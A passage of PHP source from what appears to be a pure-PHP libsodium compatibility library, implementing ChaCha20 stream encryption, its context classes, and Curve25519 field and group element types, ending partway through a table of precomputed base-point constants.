        return $str . "\x00";
    }

    /**
     * Creates an SplFixedArray containing other SplFixedArray elements,
from
     * a string (compatible with \Sodium\crypto_generichash_{init, update,
final})
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAssignment
     */
    public static function stringToContext($string)
    {
        $ctx = self::context();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $ctx[0][$i] = SplFixedArray::fromArray(
                array(
                    self::load_4(
                        self::substr($string, (($i << 3) + 4), 4)
                    ),
                    self::load_4(
                        self::substr($string, (($i << 3) + 0), 4)
                    )
                )
            );
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctx[$i][1] = SplFixedArray::fromArray(
                array(
                    self::load_4(self::substr($string, 76 + (($i - 1)
<< 4), 4)),
                    self::load_4(self::substr($string, 72 + (($i - 1)
<< 4), 4))
                )
            );
            $ctx[$i][0] = SplFixedArray::fromArray(
                array(
                    self::load_4(self::substr($string, 68 + (($i - 1)
<< 4), 4)),
                    self::load_4(self::substr($string, 64 + (($i - 1)
<< 4), 4))
                )
            );
        }

        # uint8_t buf[2 * 128];
        $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96,
256));


        # uint8_t buf[2 * 128];
        $int = 0;
        for ($i = 0; $i < 8; ++$i) {
            $int |= self::chrToInt($string[352 + $i]) << ($i <<
3);
        }
        $ctx[4] = $int;

        return $ctx;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_Ctx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20_Ctx
 */
class ParagonIE_Sodium_Core_ChaCha20_Ctx extends ParagonIE_Sodium_Core_Util
implements ArrayAccess
{
    /**
     * @var SplFixedArray internally, <int, int>
     */
    protected $container;

    /**
     * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 8 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '',
$counter = '')
    {
        if (self::strlen($key) !== 32) {
            throw new InvalidArgumentException('ChaCha20 expects a
256-bit key.');
        }
        if (self::strlen($iv) !== 8) {
            throw new InvalidArgumentException('ChaCha20 expects a
64-bit nonce.');
        }
        $this->container = new SplFixedArray(16);

        /* "expand 32-byte k" as per ChaCha20 spec */
        $this->container[0]  = 0x61707865;
        $this->container[1]  = 0x3320646e;
        $this->container[2]  = 0x79622d32;
        $this->container[3]  = 0x6b206574;
        $this->container[4]  = self::load_4(self::substr($key, 0, 4));
        $this->container[5]  = self::load_4(self::substr($key, 4, 4));
        $this->container[6]  = self::load_4(self::substr($key, 8, 4));
        $this->container[7]  = self::load_4(self::substr($key, 12, 4));
        $this->container[8]  = self::load_4(self::substr($key, 16, 4));
        $this->container[9]  = self::load_4(self::substr($key, 20, 4));
        $this->container[10] = self::load_4(self::substr($key, 24, 4));
        $this->container[11] = self::load_4(self::substr($key, 28, 4));

        if (empty($counter)) {
            $this->container[12] = 0;
            $this->container[13] = 0;
        } else {
            $this->container[12] = self::load_4(self::substr($counter,
0, 4));
            $this->container[13] = self::load_4(self::substr($counter,
4, 4));
        }
        $this->container[14] = self::load_4(self::substr($iv, 0, 4));
        $this->container[15] = self::load_4(self::substr($iv, 4, 4));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @param int $value
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetSet($offset, $value)
    {
        if (!is_int($offset)) {
            throw new InvalidArgumentException('Expected an
integer');
        }
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an
integer');
        }
        $this->container[$offset] = $value;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return mixed|null
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetGet($offset)
    {
        return isset($this->container[$offset])
            ? $this->container[$offset]
            : null;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_IetfCtx',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20_IetfCtx
 */
class ParagonIE_Sodium_Core_ChaCha20_IetfCtx extends
ParagonIE_Sodium_Core_ChaCha20_Ctx
{
    /**
     * ParagonIE_Sodium_Core_ChaCha20_IetfCtx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 4 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '',
$counter = '')
    {
        if (self::strlen($iv) !== 12) {
            throw new InvalidArgumentException('ChaCha20 expects a
96-bit nonce in IETF mode.');
        }
        parent::__construct($key, self::substr($iv, 0, 8), $counter);

        if (!empty($counter)) {
            $this->container[12] = self::load_4(self::substr($counter,
0, 4));
        }
        $this->container[13] = self::load_4(self::substr($iv, 0, 4));
        $this->container[14] = self::load_4(self::substr($iv, 4, 4));
        $this->container[15] = self::load_4(self::substr($iv, 8, 4));
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20
 */
class ParagonIE_Sodium_Core_ChaCha20 extends ParagonIE_Sodium_Core_Util
{
    /**
     * Bitwise left rotation
     *
     * @internal You should not use this directly from another application
     *
     * @param int $v
     * @param int $n
     * @return int
     */
    public static function rotate($v, $n)
    {
        $v &= 0xffffffff;
        $n &= 31;
        return (int) (
            0xffffffff & (
                ($v << $n)
                    |
                ($v >> (32 - $n))
            )
        );
    }

    /**
     * The ChaCha20 quarter round function. Works on four 32-bit integers.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @return array<int, int>
     */
    protected static function quarterRound($a, $b, $c, $d)
    {
        # a = PLUS(a,b); d = ROTATE(XOR(d,a),16);
        /** @var int $a */
        $a = ($a + $b) & 0xffffffff;
        $d = self::rotate($d ^ $a, 16);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c),12);
        /** @var int $c */
        $c = ($c + $d) & 0xffffffff;
        $b = self::rotate($b ^ $c, 12);

        # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8);
        /** @var int $a */
        $a = ($a + $b) & 0xffffffff;
        $d = self::rotate($d ^ $a, 8);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
        /** @var int $c */
        $c = ($c + $d) & 0xffffffff;
        $b = self::rotate($b ^ $c, 7);
        return array((int) $a, (int) $b, (int) $c, (int) $d);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx
     * @param string $message
     *
     * @return string
     * @throws TypeError
     * @throws SodiumException
     */
    public static function encryptBytes(
        ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx,
        $message = ''
    ) {
        $bytes = self::strlen($message);

        /*
        j0 = ctx->input[0];
        j1 = ctx->input[1];
        j2 = ctx->input[2];
        j3 = ctx->input[3];
        j4 = ctx->input[4];
        j5 = ctx->input[5];
        j6 = ctx->input[6];
        j7 = ctx->input[7];
        j8 = ctx->input[8];
        j9 = ctx->input[9];
        j10 = ctx->input[10];
        j11 = ctx->input[11];
        j12 = ctx->input[12];
        j13 = ctx->input[13];
        j14 = ctx->input[14];
        j15 = ctx->input[15];
        */
        $j0  = (int) $ctx[0];
        $j1  = (int) $ctx[1];
        $j2  = (int) $ctx[2];
        $j3  = (int) $ctx[3];
        $j4  = (int) $ctx[4];
        $j5  = (int) $ctx[5];
        $j6  = (int) $ctx[6];
        $j7  = (int) $ctx[7];
        $j8  = (int) $ctx[8];
        $j9  = (int) $ctx[9];
        $j10 = (int) $ctx[10];
        $j11 = (int) $ctx[11];
        $j12 = (int) $ctx[12];
        $j13 = (int) $ctx[13];
        $j14 = (int) $ctx[14];
        $j15 = (int) $ctx[15];

        $c = '';
        for (;;) {
            if ($bytes < 64) {
                $message .= str_repeat("\x00", 64 - $bytes);
            }

            $x0 =  (int) $j0;
            $x1 =  (int) $j1;
            $x2 =  (int) $j2;
            $x3 =  (int) $j3;
            $x4 =  (int) $j4;
            $x5 =  (int) $j5;
            $x6 =  (int) $j6;
            $x7 =  (int) $j7;
            $x8 =  (int) $j8;
            $x9 =  (int) $j9;
            $x10 = (int) $j10;
            $x11 = (int) $j11;
            $x12 = (int) $j12;
            $x13 = (int) $j13;
            $x14 = (int) $j14;
            $x15 = (int) $j15;

            # for (i = 20; i > 0; i -= 2) {
            for ($i = 20; $i > 0; $i -= 2) {
                # QUARTERROUND( x0,  x4,  x8,  x12)
                list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4,
$x8, $x12);

                # QUARTERROUND( x1,  x5,  x9,  x13)
                list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5,
$x9, $x13);

                # QUARTERROUND( x2,  x6,  x10,  x14)
                list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6,
$x10, $x14);

                # QUARTERROUND( x3,  x7,  x11,  x15)
                list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7,
$x11, $x15);

                # QUARTERROUND( x0,  x5,  x10,  x15)
                list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5,
$x10, $x15);

                # QUARTERROUND( x1,  x6,  x11,  x12)
                list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6,
$x11, $x12);

                # QUARTERROUND( x2,  x7,  x8,  x13)
                list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7,
$x8, $x13);

                # QUARTERROUND( x3,  x4,  x9,  x14)
                list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4,
$x9, $x14);
            }
            /*
            x0 = PLUS(x0, j0);
            x1 = PLUS(x1, j1);
            x2 = PLUS(x2, j2);
            x3 = PLUS(x3, j3);
            x4 = PLUS(x4, j4);
            x5 = PLUS(x5, j5);
            x6 = PLUS(x6, j6);
            x7 = PLUS(x7, j7);
            x8 = PLUS(x8, j8);
            x9 = PLUS(x9, j9);
            x10 = PLUS(x10, j10);
            x11 = PLUS(x11, j11);
            x12 = PLUS(x12, j12);
            x13 = PLUS(x13, j13);
            x14 = PLUS(x14, j14);
            x15 = PLUS(x15, j15);
            */
            /** @var int $x0 */
            $x0  = ($x0 & 0xffffffff) + $j0;
            /** @var int $x1 */
            $x1  = ($x1 & 0xffffffff) + $j1;
            /** @var int $x2 */
            $x2  = ($x2 & 0xffffffff) + $j2;
            /** @var int $x3 */
            $x3  = ($x3 & 0xffffffff) + $j3;
            /** @var int $x4 */
            $x4  = ($x4 & 0xffffffff) + $j4;
            /** @var int $x5 */
            $x5  = ($x5 & 0xffffffff) + $j5;
            /** @var int $x6 */
            $x6  = ($x6 & 0xffffffff) + $j6;
            /** @var int $x7 */
            $x7  = ($x7 & 0xffffffff) + $j7;
            /** @var int $x8 */
            $x8  = ($x8 & 0xffffffff) + $j8;
            /** @var int $x9 */
            $x9  = ($x9 & 0xffffffff) + $j9;
            /** @var int $x10 */
            $x10 = ($x10 & 0xffffffff) + $j10;
            /** @var int $x11 */
            $x11 = ($x11 & 0xffffffff) + $j11;
            /** @var int $x12 */
            $x12 = ($x12 & 0xffffffff) + $j12;
            /** @var int $x13 */
            $x13 = ($x13 & 0xffffffff) + $j13;
            /** @var int $x14 */
            $x14 = ($x14 & 0xffffffff) + $j14;
            /** @var int $x15 */
            $x15 = ($x15 & 0xffffffff) + $j15;

            /*
            x0 = XOR(x0, LOAD32_LE(m + 0));
            x1 = XOR(x1, LOAD32_LE(m + 4));
            x2 = XOR(x2, LOAD32_LE(m + 8));
            x3 = XOR(x3, LOAD32_LE(m + 12));
            x4 = XOR(x4, LOAD32_LE(m + 16));
            x5 = XOR(x5, LOAD32_LE(m + 20));
            x6 = XOR(x6, LOAD32_LE(m + 24));
            x7 = XOR(x7, LOAD32_LE(m + 28));
            x8 = XOR(x8, LOAD32_LE(m + 32));
            x9 = XOR(x9, LOAD32_LE(m + 36));
            x10 = XOR(x10, LOAD32_LE(m + 40));
            x11 = XOR(x11, LOAD32_LE(m + 44));
            x12 = XOR(x12, LOAD32_LE(m + 48));
            x13 = XOR(x13, LOAD32_LE(m + 52));
            x14 = XOR(x14, LOAD32_LE(m + 56));
            x15 = XOR(x15, LOAD32_LE(m + 60));
            */
            $x0  ^= self::load_4(self::substr($message, 0, 4));
            $x1  ^= self::load_4(self::substr($message, 4, 4));
            $x2  ^= self::load_4(self::substr($message, 8, 4));
            $x3  ^= self::load_4(self::substr($message, 12, 4));
            $x4  ^= self::load_4(self::substr($message, 16, 4));
            $x5  ^= self::load_4(self::substr($message, 20, 4));
            $x6  ^= self::load_4(self::substr($message, 24, 4));
            $x7  ^= self::load_4(self::substr($message, 28, 4));
            $x8  ^= self::load_4(self::substr($message, 32, 4));
            $x9  ^= self::load_4(self::substr($message, 36, 4));
            $x10 ^= self::load_4(self::substr($message, 40, 4));
            $x11 ^= self::load_4(self::substr($message, 44, 4));
            $x12 ^= self::load_4(self::substr($message, 48, 4));
            $x13 ^= self::load_4(self::substr($message, 52, 4));
            $x14 ^= self::load_4(self::substr($message, 56, 4));
            $x15 ^= self::load_4(self::substr($message, 60, 4));

            /*
                j12 = PLUSONE(j12);
                if (!j12) {
                    j13 = PLUSONE(j13);
                }
             */
            ++$j12;
            if ($j12 & 0xf0000000) {
                throw new SodiumException('Overflow');
            }

            /*
            STORE32_LE(c + 0, x0);
            STORE32_LE(c + 4, x1);
            STORE32_LE(c + 8, x2);
            STORE32_LE(c + 12, x3);
            STORE32_LE(c + 16, x4);
            STORE32_LE(c + 20, x5);
            STORE32_LE(c + 24, x6);
            STORE32_LE(c + 28, x7);
            STORE32_LE(c + 32, x8);
            STORE32_LE(c + 36, x9);
            STORE32_LE(c + 40, x10);
            STORE32_LE(c + 44, x11);
            STORE32_LE(c + 48, x12);
            STORE32_LE(c + 52, x13);
            STORE32_LE(c + 56, x14);
            STORE32_LE(c + 60, x15);
            */
            $block = self::store32_le((int) ($x0  & 0xffffffff)) .
                 self::store32_le((int) ($x1  & 0xffffffff)) .
                 self::store32_le((int) ($x2  & 0xffffffff)) .
                 self::store32_le((int) ($x3  & 0xffffffff)) .
                 self::store32_le((int) ($x4  & 0xffffffff)) .
                 self::store32_le((int) ($x5  & 0xffffffff)) .
                 self::store32_le((int) ($x6  & 0xffffffff)) .
                 self::store32_le((int) ($x7  & 0xffffffff)) .
                 self::store32_le((int) ($x8  & 0xffffffff)) .
                 self::store32_le((int) ($x9  & 0xffffffff)) .
                 self::store32_le((int) ($x10 & 0xffffffff)) .
                 self::store32_le((int) ($x11 & 0xffffffff)) .
                 self::store32_le((int) ($x12 & 0xffffffff)) .
                 self::store32_le((int) ($x13 & 0xffffffff)) .
                 self::store32_le((int) ($x14 & 0xffffffff)) .
                 self::store32_le((int) ($x15 & 0xffffffff));

            /* Partial block */
            if ($bytes < 64) {
                $c .= self::substr($block, 0, $bytes);
                break;
            }

            /* Full block */
            $c .= $block;
            $bytes -= 64;
            if ($bytes <= 0) {
                break;
            }
            $message = self::substr($message, 64);
        }
        /* end for(;;) loop */

        $ctx[12] = $j12;
        $ctx[13] = $j13;
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key =
'')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len, $nonce = '', $key =
'')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '',
$key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce, $ic),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '',
$key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce, $ic),
            $message
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Fe', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Fe
 *
 * This represents a Field Element
 */
class ParagonIE_Sodium_Core_Curve25519_Fe implements ArrayAccess
{
    /**
     * @var array
     */
    protected $container = array();

    /**
     * @var int
     */
    protected $size = 10;

    /**
     * @internal You should not use this directly from another application
     *
     * @param array $array
     * @param bool $save_indexes
     * @return self
     */
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);

        $obj = new ParagonIE_Sodium_Core_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @param mixed $value
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetSet($offset, $value)
    {
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an
integer');
        }
        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            $this->container[$offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return mixed|null
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetGet($offset)
    {
        return isset($this->container[$offset])
            ? $this->container[$offset]
            : null;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        return array(implode(', ', $this->container));
    }
}
<?php


if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_Cached',
false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_Cached
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_Cached
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $YplusX;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $YminusX;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T2d;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_Cached constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $YplusX
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $YminusX
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $Z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $T2d
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $YplusX = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $YminusX = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $Z = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $T2d = null
    ) {
        if ($YplusX === null) {
            $YplusX = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->YplusX = $YplusX;
        if ($YminusX === null) {
            $YminusX = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->YminusX = $YminusX;
        if ($Z === null) {
            $Z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Z = $Z;
        if ($T2d === null) {
            $T2d = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->T2d = $T2d;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P1p1',
false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $t
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->T = $t;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P2',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P2
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P2
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P2 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $z = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Z = $z;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P3',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P3
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P3
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P3 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $t
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->T = $t;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_Precomp',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $yplusx;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $yminusx;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $xy2d;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_Precomp constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $yplusx
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $yminusx
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $xy2d
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $yplusx = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $yminusx = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $xy2d = null
    ) {
        if ($yplusx === null) {
            $yplusx = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->yplusx = $yplusx;
        if ($yminusx === null) {
            $yminusx = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->yminusx = $yminusx;
        if ($xy2d === null) {
            $xy2d = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->xy2d = $xy2d;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_H', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_H
 *
 * This just contains the constants in the ref10/base.h file
 */
class ParagonIE_Sodium_Core_Curve25519_H extends ParagonIE_Sodium_Core_Util
{
    /**
     * See: libsodium's crypto_core/curve25519/ref10/base.h
     *
     * @var array<int, array<int, array<int, array<int,
int>>>> Basically, int[32][8][3][10]
     */
    protected static $base = array(
        array(
            array(
                array(25967493, -14356035, 29566456, 3660896, -12694345,
4014787, 27544626, -11754271, -6079156, 2047605),
                array(-12545711, 934262, -2722910, 3049990, -727428,
9406986, 12720692, 5043384, 19500929, -15469378),
                array(-8738181, 4489570, 9688441, -14785194, 10184609,
-12363380, 29287919, 11864899, -24514362, -4438546),
            ),
            array(
                array(-12815894, -12976347, -21581243, 11784320, -25355658,
-2750717, -11717903, -3814571, -358445, -10211303),
                array(-21703237, 6903825, 27185491, 6451973, -29577724,
-9554005, -15616551, 11189268, -26829678, -5319081),
                array(26966642, 11152617, 32442495, 15396054, 14353839,
-12752335, -3128826, -9541118, -15472047, -4166697),
            ),
            array(
                array(15636291, -9688557, 24204773, -7912398, 616977,
-16685262, 27787600, -14772189, 28944400, -1550024),
                array(16568933, 4717097, -11556148, -1102322, 15682896,
-11807043, 16354577, -11775962, 7689662, 11199574),
                array(30464156, -5976125, -11779434, -15670865, 23220365,
15915852, 7512774, 10017326, -17749093, -9920357),
            ),
            array(
                array(-17036878, 13921892, 10945806, -6033431, 27105052,
-16084379, -28926210, 15006023, 3284568, -6276540),
                array(23599295, -8306047, -11193664, -7687416, 13236774,
10506355, 7464579, 9656445, 13059162, 10374397),
                array(7798556, 16710257, 3033922, 2874086, 28997861,
2835604, 32406664, -3839045, -641708, -101325),
            ),
            array(
                array(10861363, 11473154, 27284546, 1981175, -30064349,
12577861, 32867885, 14515107, -15438304, 10819380),
                array(4708026, 6336745, 20377586, 9066809, -11272109,
6594696, -25653668, 12483688, -12668491, 5581306),
                array(19563160, 16186464, -29386857, 4097519, 10237984,
-4348115, 28542350, 13850243, -23678021, -15815942),
            ),
            array(
                array(-15371964, -12862754, 32573250, 4720197, -26436522,
5875511, -19188627, -15224819, -9818940, -12085777),
                array(-8549212, 109983, 15149363, 2178705, 22900618,
